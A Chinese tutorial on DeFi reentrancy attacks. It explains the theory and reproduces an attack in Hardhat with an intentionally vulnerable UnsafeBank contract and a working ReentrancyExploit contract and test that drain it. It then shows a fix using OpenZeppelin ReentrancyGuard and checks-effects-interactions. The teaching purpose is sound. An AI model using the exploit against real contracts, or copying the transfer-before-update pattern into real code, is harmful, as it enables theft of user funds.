前言

本文聚焦 DeFi 领域中典型的重入攻击（Reentrancy Attack）安全漏洞，从理论层面剖析重入攻击的原理与危害，再基于 Hardhat V3 开发框架，结合 OpenZeppelin V5 安全库，通过代码实践完整复现重入攻击的全过程；最后针对该漏洞的核心成因，给出基于行业最佳实践的修复方案，并通过代码验证修复效果。全文采用 “理论分析 - 攻击复现 - 漏洞修复” 的逻辑脉络，将重入攻击的技术原理与工程实践相结合，清晰呈现该安全漏洞的风险点及防护手段。

重入攻击是什么

1. 核心定义：重入攻击（Reentrancy Attack）是智能合约中一种经典的安全漏洞。它的核心原理是：外部恶意合约利用回调机制，在目标合约的函数执行过程尚未结束（即状态变量尚未更新）时，再次递归调用该函数，从而反复窃取资产或破坏逻辑。

2. 通俗类比

• 场景：你去银行取钱。
• 正常流程：你申请取钱 -> 银行扣除你的余额 -> 银行给你现金。
• 重入攻击流程：你申请取钱 -> 银行给你现金（还没来得及扣余额） -> 你拿到现金的瞬间，立刻又申请取钱 -> 银行检查余额（还是满的） -> 银行又给你现金…… 循环往复，直到银行破产。

3. 技术原理：在 Ethereum（以太坊）等 EVM 兼容链上，当合约向外部地址（EOA 或其他合约）发送 ETH（使用call）或执行低级别调用时，接收方合约的fallback()或receive()函数会被触发。如果目标合约在修改状态变量（如用户余额）之前就执行了转账操作，攻击者就可以在fallback函数中再次调用目标合约的提款函数，导致 “余额未清零” 的漏洞被反复利用。

Web3 历史上的重大重入攻击事件

重入攻击的危害

1. 资产直接被盗（经济损失）：这是最直接的后果。攻击者可以在合约逻辑未能更新余额之前，将合约内的所有流动性资金（ETH、ERC20 代币等）转移至自己的地址，导致协议瞬间资不抵债（Rug Pull）。

2. 合约状态混乱（逻辑破坏）：即使资金没有被转走，反复的递归调用可能导致合约的状态变量（如借贷利率、清算价格、总供应量）计算错误。一旦状态被破坏，合约可能永久无法正常运行，甚至导致剩余资产无法提取。

3. 协议信任崩塌（声誉破产）：DeFi 的核心是 “Code is Law”（代码即法律）。一旦发生重入攻击，意味着代码存在致命缺陷，用户会对协议失去信任，导致流动性迅速撤离，项目方代币价格归零，项目直接死亡。

4. 复杂攻击的跳板：在现代 DeFi 攻击中，重入往往不是单一手段，而是配合闪电贷、价格操纵、预言机攻击的关键一环。它能放大攻击的杠杆效应，让攻击者在一个区块内完成数亿级别的套利。

智能合约实现

漏洞复现

智能合约

• 不安全银行合约

  
  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.24;

contract UnsafeBank { mapping(address => uint) public balances;

function deposit() external payable {
    balances[msg.sender] += msg.value;
}

function withdraw() external {
    uint amount = balances[msg.sender];
    require(amount > 0, "no fund");

    // 先转账，后更新 → 可被重入
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok, "send failed");

    balances[msg.sender] = 0; // 太晚！
}

}

* **重入攻击合约**

// SPDX-License-Identifier: MIT pragma solidity ^0.8.24;

import "./UnsafeBank.sol";

contract ReentrancyExploit { UnsafeBank public immutable bank; bool private _isAttacking; // 标记是否处于攻击状态

constructor(address _bank) {
    bank = UnsafeBank(_bank);
}

function attack() external payable {
    require(msg.value > 0, "Need ETH to attack");
    _isAttacking = true; // 开启攻击状态

    // 1. 存入资金
    bank.deposit{value: msg.value}();
    // 2. 触发第一次提款
    bank.withdraw();

    _isAttacking = false; // 结束攻击状态
}

// receive() external payable {
//     // 只有在攻击状态下，且银行还有钱时才重入
//     if (_isAttacking && address(bank).balance >= msg.value) {
//         bank.withdraw();
//     }
// }
receive() external payable {
    // 关键：增加余额检查，防止无限递归
    // 只有当银行里还有钱时，才继续提款
    if (address(bank).balance >= 1 ether) { 
        bank.withdraw();
    }
}
function loot() external {
    payable(msg.sender).transfer(address(this).balance);
}

}

### 部署脚本

// scripts/deploy.js import { network, artifacts } from "hardhat"; async function main() { // 连接网络 const { viem } = await network.connect({ network: network.name });//指定网络进行链接

// 获取客户端 const [deployer] = await viem.getWalletClients(); const publicClient = await viem.getPublicClient();

const deployerAddress = deployer.account.address; console.log("部署者的地址:", deployerAddress); // 加载合约 const UnsafeBankArtifact = await artifacts.readArtifact("UnsafeBank"); const ReentrancyExploitArtifact = await artifacts.readArtifact("ReentrancyExploit");

// 部署（构造函数参数：recipient, initialOwner） const UnsafeBankHash = await deployer.deployContract({ abi: UnsafeBankArtifact.abi,//获取abi bytecode: UnsafeBankArtifact.bytecode,//硬编码 args: [],// }); const UnsafeBankReceipt = await publicClient.waitForTransactionReceipt({ hash: UnsafeBankHash }); console.log("银行合约地址:", UnsafeBankReceipt.contractAddress); // const ReentrancyExploitHash = await deployer.deployContract({ abi: ReentrancyExploitArtifact.abi,//获取abi bytecode: ReentrancyExploitArtifact.bytecode,//硬编码 args: [UnsafeBankReceipt.contractAddress],//部署者地址，初始所有者地址 }); // 等待确认并打印地址 const ReentrancyExploitReceipt = await publicClient.waitForTransactionReceipt({ hash: ReentrancyExploitHash }); console.log("攻击合约地址:", ReentrancyExploitReceipt.contractAddress); }

main().catch(console.error);

### 测试脚本

import assert from "node:assert/strict"; import { describe, it, beforeEach } from "node:test"; import hre from "hardhat"; import { parseEther, getAddress, formatEther } from "viem";

describe("ReentrancyExploit 攻击验证", async function () { let owner: any; let otherAccount: any; let UnsafeBank: any; let ReentrancyExploit: any; let publicClient: any;

beforeEach(async () => { // const viem = await (hre as any).viem; const { viem } = await hre.network.connect(); publicClient = await viem.getPublicClient(); [owner, otherAccount] = await viem.getWalletClients();

// 1. 部署银行
UnsafeBank = await viem.deployContract("UnsafeBank", []);

// 2. 注入“受害者”资金：让其他账户往银行存入 100 ETH
// 这样银行才有钱被偷，且不会消耗 owner 自己的本金
const depositTx = await otherAccount.sendTransaction({
  to: UnsafeBank.address,
  value: parseEther("100"),
  data: "0xd0e30db0", // 调用 deposit() 的 selector
});
await publicClient.waitForTransactionReceipt({ hash: depositTx });

// 3. 部署攻击合约
ReentrancyExploit = await viem.deployContract("ReentrancyExploit", [UnsafeBank.address]);

});

it("应该通过重入攻击排干银行余额", async function () { const initialBankBal = await publicClient.getBalance({ address: UnsafeBank.address }); console.log("攻击前银行余额:", formatEther(initialBankBal.toString()));

// 1. 执行攻击 (存入 10 ETH 触发递归 withdraw)
// 注意：gasLimit 必须给够，因为递归非常消耗 Gas
const attackTx = await ReentrancyExploit.write.attack([], {
  value: parseEther("10"),
  gas: 1000000n 
});
await publicClient.waitForTransactionReceipt({ hash: attackTx });

// 2. 检查攻击合约是否成功拿到了钱
const exploitBal = await publicClient.getBalance({ address: ReentrancyExploit.address });
console.log("攻击后合约所得:", formatEther(exploitBal.toString()));

// 修复断言 1：合约所得应该等于 (银行初始 100 + 攻击投入 10)
assert.ok(exploitBal >= parseEther("110"));

// 提取战利品
const initialOwnerBal = await publicClient.getBalance({ address: owner.account.address });
await ReentrancyExploit.write.loot([]);

// 修复断言 2：Owner 余额增加量应该接近 110 ETH（扣除微量 Gas）
const finalOwnerBal = await publicClient.getBalance({ address: owner.account.address });

console.log("Owner 增加余额:", (finalOwnerBal - initialOwnerBal).toString());

// 只要增加超过 109 ETH 即可说明成功拿到了银行的所有钱
assert.ok(finalOwnerBal > initialOwnerBal + parseEther("109"));

// 修复断言 3：银行必须被排干
const finalBankBal = await publicClient.getBalance({ address: UnsafeBank.address });
assert.equal(finalBankBal, 0n);

}); });

## 漏洞修复
### 智能合约
* **安全漏洞修复合约**:借助openzeppelinV5修复

// SPDX-License-Identifier: MIT pragma solidity ^0.8.24;

// 导入 OpenZeppelin V5 的防重入卫士 import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

/**

• @title SafeBank

• @dev 修复了重入漏洞的安全银行合约 */ contract SafeBank is ReentrancyGuard { mapping(address => uint256) public balances;

  // 存钱逻辑保持不变 function deposit() external payable { balances[msg.sender] += msg.value; }

  /**

  • @dev 修复后的取款函数
  • 1. 使用 nonReentrant 修改器：禁止在执行期间再次进入此函数
  • 2. 遵循 Checks-Effects-Interactions 模式 */ function withdraw() external nonReentrant { // --- 1. Checks (检查) --- uint256 amount = balances[msg.sender]; require(amount > 0, "no fund");

    // --- 2. Effects (效果) --- // 在进行外部调用之前，先更新状态（账本清零） // 即使攻击者尝试重入，此时它的 balances[msg.sender] 已经是 0，无法通过 Checks balances[msg.sender] = 0;

    // --- 3. Interactions (交互) --- // 最后再进行外部转账 (bool ok, ) = msg.sender.call{value: amount}(""); require(ok, "send failed"); }

  // 允许合约接收 ETH receive() external payable {} }

* **重入攻击合约**：同上重入攻击合约

### 部署脚本：同上部署脚本修改编译后abi关键参数即可

### 测试脚本

import assert from "node:assert/strict"; import { describe, it, beforeEach } from "node:test"; import hre from "hardhat"; import { parseEther, getAddress, formatEther } from "viem"; describe("SafeBank 防御验证", async function () { let owner: any; let otherAccount: any; let SafeBank: any; // 使用 SafeBank 代替 UnsafeBank let ReentrancyExploit: any; let publicClient: any;

beforeEach(async () => {
    const { viem } = await hre.network.connect();
    publicClient = await viem.getPublicClient();
    [owner, otherAccount] = await viem.getWalletClients();

    // 1. 部署安全的银行合约
    SafeBank = await viem.deployContract("SafeBank", []); // 注意合约名称变更

    // 2. 注入“受害者”资金：100 ETH
    const depositTx = await otherAccount.sendTransaction({
        to: SafeBank.address,
        value: parseEther("100"),
        data: "0xd0e30db0", // 调用 deposit() 的 selector
    });
    await publicClient.waitForTransactionReceipt({ hash: depositTx });

    // 3. 部署攻击合约，指向 SafeBank
    ReentrancyExploit = await viem.deployContract("ReentrancyExploit", [SafeBank.address]);
});

it("应该阻止 ReentrancyExploit 的攻击", async function () {
    const initialBankBal = await publicClient.getBalance({ address: SafeBank.address });
    console.log("安全银行攻击前余额:", formatEther(initialBankBal.toString())); // 100 ETH

    // 尝试执行攻击
    // 我们预期这个交易会失败（revert），因为 SafeBank 使用了 ReentrancyGuard
    try {
        await ReentrancyExploit.write.attack([], {
            value: parseEther("10"), // 存入 10 ETH
            gas: 3000000n // Gas 不用太高，因为它很快就会失败
        });
        // 如果代码执行到这里，说明攻击成功了，这不符合预期
        assert.fail("攻击应该失败，但它成功了！");

    } catch (error: any) {
        // 预期捕获到错误，证明防御成功
        console.log("成功捕获到预期错误：攻击被阻止。");
        // 打印错误消息通常会包含 "ReentrancyGuard: reentrant call" 或 "no fund"
        // console.error(error.message); 
        assert.ok(error.message.includes("revert") || error.message.includes("ReentrancyGuard") || error.message.includes("no fund"));
    }

    // 验证最终银行余额：钱应该还在银行里（除了攻击者存入的 10 ETH 可能卡在失败的交易中）
    // 在 Viem/Hardhat 中，失败的交易会自动回滚所有状态，所以银行余额应该回到初始状态。
    const finalBankBal = await publicClient.getBalance({ address: SafeBank.address });
    console.log("安全银行攻击后余额:", formatEther(finalBankBal.toString()));

    // 断言银行余额没有被掏空 (回到了 100 ETH 附近)
    assert.ok(finalBankBal >= parseEther("99")); 

    const exploitBal = await publicClient.getBalance({ address: ReentrancyExploit.address });
    assert.equal(exploitBal, 0n, "攻击合约不应该有余额");
});

});

# 结语
至此关于 DeFi 领域经典安全漏洞 —— 重入攻击，完整覆盖相关理论知识与代码实践，既包含重入攻击的复现过程，也提供了针对该漏洞的修复代码实例，形成 “理论剖析 - 实践复现 - 漏洞修复” 的完整技术链路。